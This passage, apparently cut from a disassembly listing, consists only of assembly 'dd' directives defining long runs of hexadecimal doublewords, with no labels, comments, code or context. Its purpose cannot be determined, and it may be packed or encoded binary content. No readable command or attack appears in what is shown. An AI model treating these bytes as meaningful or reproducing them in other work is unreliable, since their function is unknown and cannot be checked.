dd 7C6972CFh, 10DEB5BDh, 0BAC55004h, 0CE4B42FBh, 96E34EC1h
dd 7F90FDh, 0EDB302A4h, 0DB4209AEh, 8900001Ch, 21BA0708h
dd 0BE57A46Bh, 5DF643CCh, 0F790DD32h, 3C2C7996h, 0F7187579h
dd 957A11AAh, 2EE1AF48h, 0C94648E1h, 4B53A27Ch, 4DF4B13Ch
dd 148C623Fh, 21E02F5Bh, 0DF5F6E19h, 6F020D47h, 93E02F5Eh
dd 0C3CC859Ch, 9444174Ch, 47DF5FF3h, 12FD8F90h, 8B0314A7h
dd 72813784h, 0F0979F1Ch, 9347DF5Fh, 0C1E81D88h, 0F8948508h
dd 424BAC17h, 65293ACDh, 1BD4EBAAh, 976A9F70h, 0DF5FA0E7h
dd 45D8E347h, 9677D848h, 0E1E9A88Dh, 49F1756Dh, 16F99798h
dd 0F9B450E1h, 4A026A42h, 432374DFh, 8960754Ch, 0FDBCA9B2h
dd 0AD622DE6h, 3EE4BA1Ah, 0FAC3048Eh, 2F864F70h, 0E51A8511h
dd 0A3624F58h, 52BDD38Ch, 57B74A1Dh, 680486Ch, 36D9B770h
dd 2B052E01h, 0F54ACB5Dh, 308FD76Ah, 7BFA5F28h, 0A6111C02h
dd 0BFC8D0E7h, 0BC027BFAh, 0F6AF1EB1h, 81BB998h, 92D322DBh
dd 4D41DA27h, 0DD7143C2h, 0FCA15729h, 1BD535h, 10E8300h
dd 9E711BB4h, 3DD2B851h, 0D73857F0h, 739CF18Ah, 6F7F3626h
dd 0BA4F11Eh, 0A9428F80h, 42DB28E7h, 9C76C34Ch, 0B242454Dh
dd 64414DF4h, 9F1C728Eh, 0DF5FF097h, 4EC1CA47h, 0B40ABB6h
dd 0F49A757Eh, 5FC8BFC7h, 0B0BB47DFh, 41BDA45h, 5FA2E5EDh
dd 82E147DFh, 0DF600D7Ah, 0F8636E47h, 5BC90565h, 0B1BC49F1h
dd 0BE5139F2h, 2E45F889h, 0CB0EE9B1h, 0D9D0CD60h, 0DDAF6A20h
dd 0BF2AFD32h, 3C24B78Ah, 10F5FE07h, 2B054951h, 0F5005004h
dd 5E40C4A4h, 0ADB6886Fh, 9D0109C8h, 6111A375h, 4C7CAAE0h
dd 3ACDD0E7h, 25B2E7F2h, 813A771Ch, 0FCEBB8BCh, 0F9CAD291h
dd 0E30B9522h, 0D4B8612Ah, 0C89BD03Bh, 868EED35h, 0F910901h
dd 4D0C7782h, 0C815FA94h, 31B05F2Fh, 2A040D59h, 0F32DF499h
dd 0A100001Ah, 39D21FF0h, 0D66FBC53h, 750E5BB4h, 0FA8F51Ah
dd 5444917Eh, 0F008D61h, 0AD6229C2h, 46C9C760h, 0E12E60F9h
dd 636BBA94h, 4DF4B324h, 14A47A57h, 48DB345Bh, 83B85737h
dd 4908EDF6h, 0F1858541h, 98E5F049h, 48512C28h, 0AEE32C63h
dd 33A2B2DBh, 411A7354h, 7F0017D6h, 0FFDFA117h, 0EEF6B56Ch
dd 4DF17299h, 0EC4CDFEAh, 50038862h, 5A499AA5h, 0CD4529D9h
dd 6827E28Dh, 0DFE92760h, 0B6495447h, 66A1A756h, 0FFE6EFA3h
dd 0A8663840h, 3641E699h, 866B7401h, 0B704BFC7h, 6E6FE4ABh
dd 0E5B8ED22h, 8802BB7Ah, 0EC7F5287h, 87CAC47Dh, 7E108FE6h
dd 7ECB3689h, 1F687087h, 5CE48790h, 0A7DC335Bh, 0C5D669D4h
dd 80FF88C9h, 90E166F7h, 527B1439h, 6CCD31E7h, 0E3B6EB24h
dd 7C9FF978h, 2ED3711Dh, 1A0D67h, 39D6BB00h, 0D63953ECh
dd 759AF089h, 0F008F28h, 0AB6429C2h, 0A7476E5Eh, 43DC29E6h
dd 0E17AC748h, 7A1360AFh, 0D4AEFB14h, 0B40A7D85h, 9C794DF4h
dd 0F31C72C6h, 7B2831BEh, 0A0951561h, 1C5B5646h, 42A03059h
dd 0E2EAA914h, 49F27074h, 9B0B5863h, 0F6DBE4C5h, 5E4B637h
dd 0A4621012h, 0B49AA211h, 0D350037Dh, 958809C8h, 0CF52617Fh
dd 0BBF01F6Ch, 0B6BE7DE8h, 47DFD5D1h, 1314A7B2h, 80803233h
dd 0C6ABB442h, 399FFF07h, 7B864734h, 6DB0B946h, 30352265h
dd 0EB566143h, 9C33AB2Ch, 0A9EE0BC3h, 249FA716h, 4F454225h
dd 0C2CC8544h, 5009004Dh, 2B3CCF40h, 492DAC63h, 0A910F70Bh
dd 194C3D04h, 97FA0000h, 0FA922B78h, 5B2FC815h, 0C1CE67B4h
dd 2568014Eh, 8AD9DEAh, 1B68A7E6h, 0B9060982h, 529F7020h
dd 0ED3AD5B9h, 0CBBCC413h, 0B84DF4B4h, 1C7205DBh, 2831BEF3h
dd 0CCC17A39h, 267D0E43h, 78A7D02Ch, 0A00FA20Dh, 0F1A10298h
dd 0B3DCDD49h, 7C93FB5Ch, 0BC097447h, 50EF74Ch, 0F5596120h
dd 105003ABh, 0D8C54605h, 0F3191EE9h, 1807089Bh, 0C8242D5Fh
dd 67C62EDDh, 90F083EEh, 0B40665BEh, 8F4E333Ch, 0BA711787h
dd 0FF46C7DDh, 0D431F7A3h, 9DA8F083h, 0E3D2DB68h, 82050D24h
dd 70DDB9D9h, 0F632AFC4h, 1B26BE1Ah, 3871BEF2h, 6D001EB4h
dd 55CDF6FEh, 2B36DFCCh, 34DBB36Ch, 0CF404EE7h, 7D5A1A50h
dd 6C33D87Eh, 1882h, 61AE6130h, 0FE4BC4C8h, 9DEA2565h
dd 37848B04h, 0D320EF9Eh, 711CD2E3h, 0D3B8519Eh, 3A56EF3Ch
dd 9FEF88D5h, 0FA492370h, 0F4B595F2h, 3309E64Dh, 0BEF31C72h
dd 5FB0DE97h, 98F6572Ah, 0DC6F4277h, 6F21FE07h, 37986BA0h
dd 8F4EB956h, 715C850Eh, 6E204B9Eh, 2E996CA1h, 95242C9Bh
dd 3249F39Fh, 89B25D31h, 51B2E644h, 39F863D1h, 0B4010E80h
dd 0F4D86BCCh, 0D4C1CB4Dh, 6FA0EE87h, 0D5BCC522h, 25AB0E16h
dd 0D185008h, 18F7954Eh, 25FFD859h, 57259FF7h, 0DAA35353h
dd 0DC6FDA3Fh, 0C94646DFh, 4CC3CB94h, 0B54295CDh, 0F1B85DEDh
dd 17D2h, 0B1FE1180h, 4E9B7418h, 0ED3AD5B5h, 87D43B54h
dd 23709FEEh, 216C8233h, 8308A1EEh, 0EAA63F8Ch, 4F3FD825h
dd 4A9973C0h, 0F4B54542h, 8359364Dh, 1C0A5AEh, 0BF5A31EAh
dd 9FD43FD0h, 0E0D939CCh, 0BF49F2ADh, 0AADD4CF6h, 22834631h
dd 9A6DA26Dh, 0D7B7702Fh, 0CAC07938h, 0AA3D1045h, 594650ADh
dd 4C29929Ah, 8F9A4DF5h, 4B4C425Ah, 1B724DF5h, 95F6BFF4h
dd 1172457Ah, 6360957Ah, 6727C21Fh, 0F9153DA8h, 0E21A1E8h
dd 77F624A9h, 48000000h, 0BFA4AEh, 5FA6E1E9h, 0D4D547DFh
dd 56E954BBh, 5FA4DFE7h, 0C4CF47DFh, 6014778Fh, 0A0DF47DFh
dd 0D568A7E7h, 51315889h
dd 1922BCE2h, 71068598h, 93264D8Eh, 3D91h, 6B23E300h, 0F347DF5Fh
dd 5FB3D4DCh, 71D047DFh, 0DF601E69h, 0E7525D47h, 99767F54h
dd 16E91EF1h, 0BED5ECABh, 0DF5FD1B6h, 14A7B247h, 0F174FAB4h
dd 0C3828D49h, 5437A242h, 9C2FF285h, 0A5AEE99Fh, 1F901C0h
dd 1C49F160h, 35A06F1Bh, 42CDBD76h, 0C2A73A0Dh, 0BB7A95F9h
dd 0F2858A02h, 0DD325CF5h, 61AEDFA8h, 4838BA2h, 774DF160h
dd 5EF4D96Ch, 424C974Ah, 0A7E780CDh, 9DA63368h, 0D078F9B8h
dd 0CC7D2609h, 1E35A437h, 0CE414E07h, 0F1D2691Eh, 7C0F1A4Dh
dd 3F4321Ch, 8B4A5550h, 0F556B9D2h, 70437897h, 4747E0DDh
dd 2D7B93C8h, 0BADF945Fh, 8FC2CA83h, 27419EB5h, 0ED228DA8h
dd 0A63B871Ah, 6FBC533Bh, 3ED1BF78h, 0B6D53609h, 0BE512459h
dd 0F92EE1ADh, 0D5BA5F30h, 0ADA9DEE6h, 0CFDAC015h, 1CC4F964h
dd 5836B130h, 0BA736AB7h, 32053AD5h, 0F008E9Fh, 5D444DDAh
dd 0CA94969Eh, 530CC227h, 0D49DD23Dh, 57EA55BAh, 1EB7040Fh
dd 436A9F70h, 0C963242Ch, 5720C603h, 23A7C54Fh, 932691C7h
dd 47060982h, 0F7187730h, 483FEFC2h, 0AAC603CCh, 3ED7131Fh
dd 0D3DE76B8h, 0B1C55B40h, 0ED9E5730h, 871AED22h, 38F71876h
dd 7B4D7BB7h, 0D7D1C425h, 4381FC6h, 817E117Ch, 54BBD18Ah
dd 31DEB0C1h, 0C1666FFCh, 0B6B4E242h, 0F39DFE39h, 0EAF2B11Ch
dd 0C8163918h, 0C7C0C827h, 0B4C01642h, 58F13EA9h, 611AD936h
dd 6A4FE22Dh, 0D152C43h, 0C016427Ah, 394EFE09h, 4AC01643h
dd 42A4E3EBh, 0CCD7C016h, 1D6ECE61h, 9DB01643h, 23EC21EEh
dd 32DDB069h, 2FB392C7h, 0B6D1D9B2h, 0C5B01642h, 76BA4FBAh
dd 10E806Bh, 9A751BB4h, 28F19C65h, 0D42AD62h, 92C74844h
dd 194EC1C9h, 0B62BB63Ah, 0BB26BB3Fh, 54ED3AD5h, 62ADDD3Ch
dd 0E29BC2F7h, 0C0D164ABh, 750B40CFh, 2B658061h, 1FA097E4h
dd 7A2F11C7h, 96A73A36h, 53E015FAh, 1B9C5B4Ah, 152D99C9h
dd 513E9F72h, 23B689BEh, 0ACE49DB4h, 0EB9CA463h, 98B01577h
dd 609AFA8Dh, 3FB22778h, 5736FF34h, 0D6BA83B8h, 5A6E0439h
dd 26125287h, 0AF6030BBh, 4AC5C962h, 0CD424C15h, 0AC35B998h
dd 75C24D41h, 98E60080h, 28D54Ch, 72270000h, 95BCF11Eh
dd 295EB1DCh, 0E5EEC356h, 2884100h, 30B7A0Dh, 49F16B7Fh
dd 32DDADAEh, 72BF2AFDh, 12DBh, 1E724500h, 262FBCF1h, 2A78803Fh
dd 1549F173h, 9B07BD0Ah, 0F7C35A8h, 97F8CB00h, 13E61BF4h
dd 5FA2AB80h, 0DF603057h, 0DD485347h, 7538161Eh, 444F49F1h
dd 897413F3h, 717A6122h, 810CC584h, 848CFB8Eh, 3C927A1Ah
dd 20ADE2EDh, 636B2A17h, 3EA4A660h, 10C98893h, 19D2917Eh
dd 90639877h, 276700FDh, 8A1769E8h, 16BB1F14h, 14194Fh
dd 45CAC700h, 0E22D5FF8h, 818EFC95h, 1BF49B34h, 0B75835CEh
dd 0B33B7A6Ah, 4FE835DAh, 0ED86D33Ch, 861F6CA3h, 0E0BA0708h
dd 0B9FE8991h, 0A07D4DF4h, 5E6423CAh, 818A47DFh, 25CDD594h
dd 1049F16Eh, 0FF8D4605h, 7508DB10h, 0CC434D06h, 65AAE67Fh
dd 2A276730h, 0B7538FA3h, 1392FDC4h, 0EBA7CFC7h, 0B3FFC66Bh
dd 61000013h, 0F992DF30h, 962F7C93h, 35CE1BF4h, 0CF68B55Ah
dd 140451BEh, 0CF404DA1h, 6DA2E982h, 6098720h, 0A16E20B9h
dd 232B7A54h, 4DF4BA64h, 0AE643A17h, 0F901C0A5h, 49F16CF9h
dd 0A9DEE6FDh, 0DA4DF16Eh, 79CA7D11h, 8738041h, 0D24A24DFh
dd 5FF22CC2h, 324C4E17h, 0BA883CAAh, 1F48946Ch, 0EC57B75Dh
dd 0F31C742Dh, 0E958EBBEh, 66B35C30h, 1B50BFCDh, 9ED33C52h
dd 0CD70AF6h, 0D2428F80h, 8065719Ch, 2CBF402Fh, 0E1FDCA22h
dd 0F44CBC1h, 2070D13Ch, 414B5CEFh, 0D8199CEh, 5E4DF1E8h
dd 0F619762Fh, 0F5BEEC1h, 8A00B9D2h, 0A38753C7h, 65D0B6E4h
dd 0F0CBC1D2h, 0F1BC9FE8h, 0DAADB54Dh, 0A94DF1BCh, 90FB069Eh
dd 2D354C43h, 4DF1BC5Ah, 7A8B1E29h, 0A1C8FD12h, 0B2364420h
dd 131BF945h, 4DF1FE74h, 0D291FC07h, 0F1FEBDCAh, 20B3BE4Dh
dd 9453424Bh, 54D0D8Ch, 30EFFA50h, 0ABF81777h, 5E937C12h
dd 0ABE3C8D1h, 813AF964h, 372050Ah, 0FA751DFBh, 8BFF0049h
dd 117C4F84h, 1AF59952h, 23ECA25Bh, 94FA9390h, 0B04F46BDh
dd 43AE0806h, 8978810Eh, 2DB0C2CAh, 0D4DF5004h, 0B5153F55h
dd 470EB3EDh, 126Eh, 4D9A751Ch, 0EA37D8B4h, 89D63951h
dd 23709FF0h, 0BF0C038Ah, 8508E6CFh, 0E7A43D8Ah, 4E42DB28h
dd 0B3DB74C1h, 0E6350F5Ch, 0F4BBA9DEh, 27FDDA4Dh, 0DF5F9F23h
dd 0C44B4547h, 66111A77h, 0CEA73E4Fh, 7EEF2884h, 639D5107h
dd 0B7CE8DF8h, 28B8EFEh, 9A6DA20Dh, 0E769A707h, 8B5449F2h
dd 288DF36h, 0DC05D80Dh, 0C7323B82h, 9EE9F108h, 0DD4DF541h
dd 17D03FD2h, 994F9C73h, 3CEABE16h, 9F7DFE23h, 1B3C57DDh
dd 4FE3E578h, 0F4000001h, 5F67543Bh, 48602128h, 52E5505Bh
dd 0BDA6AE24h, 820C143Fh, 7347DF5Fh, 5B140A88h, 0D4A7DC33h
dd 3ABBD241h, 7AA734Ch, 0EC1AAD1Eh, 0AE23A937h, 4AC5C5A0h
dd 59D74215h, 0E9305B14h, 603368A7h, 5AEDC0F5h, 0A2AE0DF3h
dd 0D4823BB9h, 0BCEACE16h, 535B25h, 0AEAD0000h, 43FCBBA0h
dd 230C34Ch, 65E6FD14h, 0ECC46932h, 6F18C818h, 0C47E01Eh
dd 800E6E01h, 747E01Eh, 93147EFCh, 0FE91E965h, 0B423B66Eh
dd 0F71872DEh, 10E7F38h, 323AF9CCh, 47DF5F55h, 5A881B26h
dd 9141C251h, 695865E6h, 749BC95Ch, 3Ah, 0BBA0AEDEh, 0C64943FCh
dd 0C140533h, 47DF5F82h, 0B2C98873h, 0DF5FDDAAh, 7D770D47h
dd 28F58C7Fh, 3E5C8590h, 0CCBBB87Ch, 143866F9h, 0C64944FDh
dd 0FD2BBE91h, 79F71872h, 0CE160351h, 0EE25BCEAh, 23B65935h
dd 3B21h, 0A2AE7300h, 587E9EFBh, 8DF842BCh, 987715CEh
dd 0C14D705h, 47DF5F82h, 147CFA05h, 0A4E7325Bh, 0F863366Bh
dd 0EE5DF0C3h, 0F51A7218h, 0FD127D36h, 3462F5C8h, 1D740351h
dd 0DE000000h, 3BB9A2AEh, 5F820C14h, 887347DFh, 927D10C9h
dd 0C9F78A5Dh, 1A723E14h, 35177F5h, 0FFFE9F74h, 0A5AEDEFFh
dd 0D97C1D02h, 0BC27358Dh, 0EBC27CFDh, 0C88F9834h, 0DF95C7C0h
dd 3EA9B447h, 0CC5FB0DDh, 0E464555Dh, 384349F2h, 41CEC079h
dd 4BC4C982h, 0B3B04316h, 888703BCh, 18ED8053h, 5A62210Eh
dd 4DF4D82Dh, 6D84434Eh, 0F4D82265h, 0C356614Dh, 0D7C3C6DEh
dd 97F74DF4h, 127A4378h, 1E32C8FDh, 0DAF61EC3h, 9A008007h
dd 5AD524A9h, 27000000h, 0DF5F6823h, 0D33C5247h, 4944FD14h
dd 0EBE91C6h, 47DF5F79h, 0A4D6FF0Ah, 0D08F523Fh, 0AD959225h
dd 47DFD6E1h, 0CBD30E17h, 47DFD6BCh, 1D5FF6BFh, 4FFF6597h
dd 1BA79E4h, 84F38689h, 0F22DF27Ch, 4B0A1549h, 7F12FD92h
dd 0DBEB82h, 0FD140000h, 0F1E092F5h, 53E6F14Dh, 0C0A5AE25h
dd 0CB444801h, 0C130C396h, 0F18ED5B9h, 0E6A5B049h, 5FAC632Dh
dd 1045CAC6h, 0CC8B7A83h, 3967913h, 5E667D94h, 4DF19129h
dd 5CBC4F5Ah, 5004DF35h, 41581722h, 0DB65222Ah, 0B1647E6h
dd 0DC43444Ch, 354047E6h, 10FF91A2h, 0ADB5CCC3h, 47E6DBDAh
dd 0FA0B9EA9h, 0B7447996h, 0F108C7AEh, 0DBB5D2DAh, 0BBC647E6h
dd 20FCC828h, 0F4FF49FAh, 0F7C35h, 0E8833ACBh, 9F1B1573h
dd 1A6D7534h, 694DF221h, 0A35CCB5Eh, 3ED724EBh, 0F2570150h
dd 556D5F9Fh, 0B0336BEAh, 7A1FEBA7h, 0F2DB3h, 59B6DB00h
dd 0F619730Ch, 957A10A9h, 2FE0AF48h, 0CB4449E2h
dd 0C7278E7Eh, 63FC49C6h, 19AE728h, 9A33808Fh, 0F4CE1BF4h
dd 0BEEA9DA5h, 0BC994DF4h, 0FD1C72E6h, 5817828Dh, 0E91EF19Fh
dd 36A16E20h, 99F5BEA3h, 90FEB776h, 36B94A7Fh, 529CC03Ch
dd 351AAD18h, 0D40FD256h, 130855BAh, 22BC1BB3h, 2768h
dd 0A5AEBA00h, 0A5F901C0h, 8049F177h, 17774075h, 7C12ABF8h
dd 0EB20EF9Dh, 0EB78AD18h, 2C34F3E2h, 5003A562h, 17CD1A25h
dd 0A8F51A72h, 5D927D0Fh, 0DF607B45h, 0FC137D47h, 8337B8AFh
dd 0BC00737Eh, 434C21B4h, 0C185020Ah, 0EBF647DFh, 93AAC180h
dd 0C213747Ch, 657047DFh, 0DFC1D2B5h, 69A6E847h, 0D333C6D1h
dd 49F30530h, 0C0793843h, 42F845CAh, 3CEABE16h, 4745FE23h
dd 6F3335C8h, 85000001h, 3FBDA6AEh, 5F820C14h, 887347DFh
dd 373E140Ah, 5B1423A9h, 764BDE31h, 1C058368h, 0B1D6DEF5h
dd 0D247DF5Fh, 0AE0634C7h, 143BB9A2h, 0A7DC335Bh, 924041D4h
dd 0BCEACE16h, 16DEE25h, 43DFF538h, 0F35EB1DFh, 3E5E60h
dd 0AEB00000h, 143DBBA0h, 0DF5F820Ch, 0DF5DDE47h, 8FF017F1h
dd 961F6870h, 515C47DFh, 0B53E6h, 8078841h, 3F6D00D3h
dd 4644FD14h, 720836C9h, 5179F718h, 467403h, 0E49D0000h
dd 0A5D366A9h, 3DBBA0AEh, 5F820C14h, 347347DFh, 0DF5F5B2Ch
dd 0B21D2847h, 143E1434h, 5F92F5FDh, 0E6F147DFh, 0C7484253h
dd 71931449h, 21938519h, 30998463h, 71E24307h, 9C1DACDEh
dd 5114C3E2h, 0A2D063BBh, 0BCEACE16h, 515B25h, 0AEAD0000h
dd 143BB9A2h, 0C54A44FDh, 0CA2ABD90h, 47DF5FC4h, 65AAE39Ch
dd 17F8AD2h, 92F5FD14h, 0F147DF5Fh, 0EE453E6h, 0DE315B14h
dd 0FF523A4Bh, 8D75C581h, 0FDBC2705h, 0C49B327Ch, 0EC7F8935h
dd 140351BEh, 5F92F5FDh, 0E6F147DFh, 3D4453h, 0AEAE0000h
dd 143BB9A2h, 0CE4B44FDh, 51E44FC0h, 0DF5F9DF1h, 0F1AAC147h
dd 0C6C1719Eh, 0EC47DF5Fh, 0CED9719Eh, 0F876613Bh, 1A723E14h
dd 0FD1477F5h, 0DF5F92F5h, 53E6F147h, 0B1D99221h, 749DCB5Eh
dd 0FFFFFE8Ch, 834E1C9Dh, 0B73EFDA8h, 0A5AEF624h, 444801C0h
dd 0BFCD96CBh, 0DD481B50h, 0E6D3DB4Ah, 0D549F2ADh, 968A0BCAh
dd 2AB360C3h, 1FF0A001h, 158417EAh, 0D6DB7DFEh, 0B0DA041Bh
dd 8D820C1Dh, 0ECD9E340h, 2C37AC2Dh, 619EFFBFh, 0F4A52E59h
dd 0D7424D4Dh, 64F71876h, 0A49AEDF5h, 0DEE94DF4h, 0A4F891A9h
dd 0DBF74DF4h, 5DFC7D06h, 8CFB03FBh, 0EF4DF501h, 7304BBE4h
dd 0D23DD2BAh, 0FBF2D23Fh, 212724A9h, 38000000h, 9F41107Fh
dd 5CE57F9h, 73467BE6h, 3967912h, 5F6823D5h, 3C5247DFh
dd 0B2EF86D3h, 59000000h, 1C0A5AEh, 39CC4348h, 594CC2CAh
dd 303B49F1h, 0EFA15A71h, 147C8D20h, 0C9888705h, 0F162C6C1h
dd 3FAAB54Dh, 0D83759F2h, 8DFA0219h, 0EE4DF162h, 36EA1EDh
dd 4D648B70h, 0F1634245h, 0A336414Dh, 21E0C5CEh, 4B07419h
dd 79121350h, 238E6196h, 2AE5AB64h, 0A62EA6Bh, 0F057C494h
dd 0C9C7605Dh, 7B841146h, 0F5CFD796h, 849FAA2h, 9853EFDh
dd 6E20B906h, 1DF422A1h, 0B95EEBA7h, 0BC1F2h, 0ED226F00h
dd 8A8507A0h, 29E6A43Dh, 0C34C43DCh, 5FB0DD76h, 5B932212h
dd 0F790DD32h, 952E7B94h, 2EC714FBh, 8862AF60h, 0C2563139h
dd 48254DF4h, 0F31C7272h, 2299F5BEh, 0DF5F6D1Ah, 98030E47h
dd 0CDBAC2D9h, 0AE47DF5Fh, 0ABDCE4A3h, 0D847DF5Fh, 76553ACDh
dd 9AF4EFF2h, 1A312875h, 0DF5F7512h, 8A050647h, 1A871A85h
dd 22BCE2BAh, 0A4E3EB02h, 0D747DF67h, 6A3739CCh, 48000000h
dd 675E2931h, 121D47DFh, 0A5AE517Fh, 0F9F901C0h, 2449F188h
dd 3CBDE419h, 0B17F2E77h, 5F700347h, 9C93E02Fh, 3BD9831Bh
dd 0B78ABF50h, 84E0308Eh, 61AEE0F1h, 5B969F2Ch, 0F1E63453h
dd 4846474Dh, 54BF92C7h, 5A132AE9h, 6AA5E633h, 0C2F76235h
dd 12FC5CEFh, 755003DFh, 6D261D6Ah, 0EABDF21Dh, 0EED708C1h
dd 0F1843930h, 0F51A72C3h, 6002C0A8h, 0ACE447DFh, 0B0B91663h
dd 3EFA02C1h, 6149F2A3h, 0ACDE9756h, 14601663h, 4ADD325Bh
dd 3CEAE5DDh, 7F0CC523h, 2CFBFD90h, 4D000001h, 3FBDA6AEh
dd 5F820C14h, 887347DFh, 7CFD140Ah, 0B9E32513h, 0F59AFB8Bh
dd 3759871Ah, 0A0AE23A9h, 0FD143DBBh, 0DF5F92F5h, 53E6F147h
dd 0A2AE06ECh, 41464E65h, 4247DF60h, 60008737h, 788347DFh
dd 2D987717h, 16D482AFh, 25BCEACEh, 365Bh, 0A0AEAD00h
dd 0C143DBBh, 47DF5F82h, 147CFA05h, 0C54A44FDh, 0FD140432h
dd 0DF5F92F5h, 53E6F147h, 6B734842h, 47DF601Ch, 7D15FA96h
dd 51890772h, 257403h, 0AEDE0000h, 143DBBA0h, 5F92F5FDh
dd 662847DFh, 9A174A9h, 0F4FC6BFEh, 47DF5F9Ah, 14F2705Bh
dd 0F718723Eh, 16035179h, 25BCEACEh, 355Bh, 0A2AEAD00h
dd 0FD143BB9h, 0DF5F92F5h, 85E6F147h, 372050Ah, 0DF5F93FBh
dd 9DF1F247h, 14890772h, 0C093143Eh, 0D5233698h, 9FEDFE91h
dd 351F270h, 3C74h, 0A2AEDE00h, 0C143BB9h, 47DF5F82h, 13FC9273h
dd 0FD142AA8h, 8EC34C44h, 60285F67h, 505B47DFh, 722452E5h
dd 57F8371Ah, 0C7F6EDFEh, 0A9E49D5Ch, 87F21D70h, 9068952h
dd 51DD0B9Eh, 0FEC17403h, 0AEDEFFFFh, 0F901C0A5h, 49F2ADC0h
dd 9415D4DFh, 35524BA4h, 64232BC4h, 174DF4C9h, 9F0EA10Ch
dd 0B13A8E6h, 4DF4C97Ch, 0D8CBF4FFh, 74C61E95h, 3F3683EEh
dd 7A672028h, 9144DF4h, 0AA97A176h, 7AA4E3EBh, 0F7B04DF4h
dd 1E457A95h, 0F47A7116h, 9C07124Dh, 81B6C109h, 0F47B2069h
dd 7990CF4Dh, 0F47B1671h, 0C75A654Dh, 0A71F667Bh, 7424A9F9h
dd 35h, 5F6823C6h, 73F447DFh, 65C35F33h, 0B1B4910Ch, 3A5C7A42h
dd 0F11E6ECFh, 7A414D5Eh, 9444CBC1h, 47DF62F3h, 0CD1A8590h
dd 0D936h, 0E6A65F00h, 8E21F429h, 2A5AE60h, 309C595Ah
dd 5A1984C1h, 0C038A43h, 117104D7h, 49F1D611h, 5912D1DCh
dd 0D5A8DD32h, 0D5790E16h, 0FF0A4DF1h, 2DE6FD6Ch, 91AAD62h
dd 5B2C3487h, 284DF1D5h, 3AF3B21Dh, 2E2BBE51h, 0B8C0FB95h
dd 4DF1D5CFh, 4B40A1ACh, 972459C4h, 0E0E8A78Eh, 500523A9h
dd 530CCBD6h, 0D241D43Bh, 848B02BBh, 5FB0E0F1h, 2177912h
dd 0E318838Ch, 0A9684D56h, 1BC21192h, 4B808FFCh, 88D44F78h
dd 0D7ED4DE0h, 2A49F9D3h, 9049601Fh, 6F8013FCh, 0AA3F01Fh
dd 180C8B84h, 5AEBA7CCh, 838EEB5h, 0ABE60000h, 0E7E1764h
dd 6F1BB401h, 0D5BA53A0h, 3954ED3Ah, 1C9989D6h, 754BBD2h
dd 0A5F21D6Eh, 3E8B840Ch, 0D926E9A5h, 0DFA8B0FFh, 9C4DF4C5h
dd 1C72E9BFh, 0C6B334F3h, 7A95F8B6h, 5B915951h, 0A5BCE3C8h
dd 0DF97EA9Dh, 0F5989947h, 0A712E51Ah, 92C74846h, 731B2CBFh
dd 6C2BE4A6h, 0DF982364h, 0EA556047h, 8F52D6B5h, 0C14E3DF6h
dd 50E32C60h, 0C3CA4F3Fh, 0D944174Ch, 0C63F978Ch, 4CEC22BCh
dd 0FD000000h, 8EC34C44h, 14FA28BBh, 5F92F5FDh, 0E6F147DFh
dd 90757E53h, 7D81C9D1h, 3E5549F1h, 0F17C5136h, 9427324Dh
dd 6B82414Ch, 0F17D2463h, 0B94C574Dh, 7CCFBCD4h, 8244DF1h
dd 98F7B0D9h, 0DC6F4277h, 0AEE3176Fh, 42C424h, 0AE160000h
dd 0F901C0A5h, 49F18F85h, 1DD695A0h, 976A9F70h, 38561F04h
dd 9DF18AD7h, 95163D72h, 30A3E453h, 1CF18496h, 676F2E13h
dd 5003ABBBh, 126AE263h, 61AF958Ch, 466F9745h, 9124B090h
dd 3BF13E49h, 71399314h, 0D1060985h, 1B75D5FEh, 0F78803Fh
dd 6C47E022h, 69E6CE61h, 0CE414D06h, 5E33C699h, 0A9B17055h
dd 49F237A5h, 7F9000B9h, 7516774Ah, 0B4BF079Ah, 0D5BB7463h
dd 93C84744h, 4D2055C0h, 396EA1ECh, 0B173D366h, 378D6879h
dd 8088472Eh, 1056151Eh, 0BE3FFE09h, 0AF9AC55Ch, 8D720537h
dd 4B0AF700h, 686E8043h, 0DF2AF30Ah, 5FB0DF4Eh, 11EAAD36h
dd 8D60957Ah, 3FF8B722h, 58C1CA4Fh, 0CFA2D738h, 13ACF964h
dd 715947Bh, 2B2BD135h, 694BF86h, 4F420000h, 0B2DA73C0h
dd 1377105Dh, 7916AFFCh, 0DDB04996h, 0C0F5E532h, 63B05F2Eh
dd 14EC1CAh, 9AE72868h, 35828D01h, 83040C5Bh, 4DF4C7h
dd 1C724D23h, 95F5BEF3h, 0C7D02D7Ah, 76131BDAh, 0DE49F2ADh
dd 0ADC8BFC7h, 0BABB4DF4h, 310439D6h, 0E42B65C6h, 149DCAFh
dd 92F8C1F6h, 0EA36FE7Dh, 0B75CEBA0h, 62DF0h, 59B6DB00h
dd 0F619730Ch, 957A10A9h, 2FE0AF48h, 0CB4449E2h, 0C7278E7Eh
dd 63FC49C6h, 19AE728h, 9A33808Fh, 0F4CE1BF4h, 0C7EA9DA5h
dd 0BC994DF4h, 0C0A5AEE6h, 0CBD3EA01h, 47DF5FBCh, 0C121B4BFh
dd 49F2ADCCh, 0D7A21394h, 0AA4D0A54h, 8FC4CF17h, 0A8DC4C6h
dd 0AF19EC44h, 600F729Bh, 77B03DE7h, 0F2BB8D0Ch, 12B7EBA0h
dd 5C14Bh, 0ED226F00h, 8A8507A0h, 29E6A43Dh, 0C34C43DCh
dd 5FB0DD76h, 5B932212h, 0F790DD32h, 952E7B94h, 2EC714FBh
dd 8862AF60h, 0C8563139h, 48254DF4h, 0C0A5AE72h, 0AD98F901h
dd 496049F2h, 0F4AC4641h, 972A354Dh, 460F444Fh, 186F7744h
dd 6B4DF4ADh, 9A76F560h, 0D8EBA0E9h, 5646C33h, 7F120000h
dd 0E2AA4390h, 4347E02Dh, 0A9E67FCCh, 0D801966h, 0F0C5B502h
dd 33808FFEh, 0D11EF19Ah, 6AB75838h, 552BDD1h, 0B3D4DC2Bh
dd 0D04DF4C8h, 1C721DF3h, 99F5BEF3h, 74AB4176h, 0A73AD5BBh
dd 335B865Bh, 3166A9E6h, 1D34F35Eh, 0DF5F7215h, 25481147h
dd 0D978D1F6h, 413ED13Ch, 0F429E6A8h, 0DFDFB2DCh, 0B8CBB47h
dd 46DEC818h, 8FDB6E1Eh, 22F79752h, 0EB38A36Ch, 9ED33C52h
dd 0FA02B9D5h, 47E0238Dh, 878FEEh, 8347E024h, 0E3A20D78h
dd 78AD622Ah, 0B81512A5h, 0FB03C2AFh, 49F25093h, 0DBACB4CBh
dd 0A84DF24Ah, 0B7C20A9Dh, 4B216A82h, 0F5994DF2h, 721CE51Ah
dd 3941689Dh, 4DF24A4Eh, 27AB222Dh, 0B25D2FBAh, 173FAA7Dh
